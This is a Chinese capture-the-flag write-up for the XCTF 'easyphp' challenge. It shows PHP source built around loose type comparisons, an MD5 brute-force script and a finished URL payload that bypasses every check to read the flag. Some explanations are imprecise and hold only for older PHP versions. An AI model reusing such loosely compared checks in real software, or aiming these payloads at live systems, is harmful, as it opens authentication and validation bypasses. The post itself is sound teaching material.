XCTF-easyphp

发布时间 2023-11-29 12:22:19作者: Junglezt

这也是一道经典的的弱类型题目,访问分析代码

 <?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;

$a = $_GET['a'];
$b = $_GET['b'];

if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
    if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
        $key1 = 1;
        }else{
            die("Emmm...再想想");
        }
    }else{
    die("Emmm...");
}

$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
    if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
        $d = array_search("DGGJ", $c["n"]);
        $d === false?die("no..."):NULL;
        foreach($c["n"] as $key=>$val){
            $val==="DGGJ"?die("no......"):NULL;
        }
        $key2 = 1;
    }else{
        die("no hack");
    }
}else{
    die("no");
}

if($key1 && $key2){
    include "Hgfks.php";
    echo "You're right"."\n";
    echo $flag;
}

?> 

这里&&号就是and的意思,需要传入三个值abc,这三个参数满足条件就可以获得flag,条件如下:

  • a: 传入数字必须大于6000000,但是长度不能大于3
  • b: 通过md5计算出的后六位值必须完全等于8b184b
  • c: 传入的格式为json
    • json数组中m属性必须是一个数字,并且必须大于2022
    • json数组中n属性必须是一个数组,数组中有两个值,n属性中的第一个值必须为数组
      • n属性中必须含有DGGJ,但是在最后又循环n属性中的值,不能含有DGGJ
  1. 第一个a使用科学计数法来表示6e8来表示,就是6后面添加8个0,也就是6亿,题目中的是六百万

  2. 第二个b使用脚本跑出后六位为8b184b的值

<?php

for ($i=0; $i < 10000000000; $i++) { 
	if(substr(md5($i),-6,6) === '8b184b'){
		print($i."\n");
	}
}

?>


这里就是用53724

  1. 传入c,这个我们输入了解

PHP值一个弱类型语言,在我们使用2023 == "2023a"的时候条件是成立的

所有,参数cjson数组中的第一个属性m的值为2023a即可,即:c={"m":"2023a"}

其次是json数组中的第二个属性n,自己是一个数组,然后第一个值为数组c={"n":[[],1]}
然后就是满足array_search()这个函数的和foreach循环的条件

可以看到array_search()函数返回的是值所在的下标这样我们就绕过了DGGJ值的判断,后面判断$b的值是完全等于flase,0 === flase是错误的,所以成功绕过

并且在与字符串比较的时候任何字符串和0的比较都是True,最后成功绕过上述的判断

最后整理payload

?a=6e8&b=53724&c={"m":"2023a","n":[[],0]}

访问获得flag

不错的弱类型题目!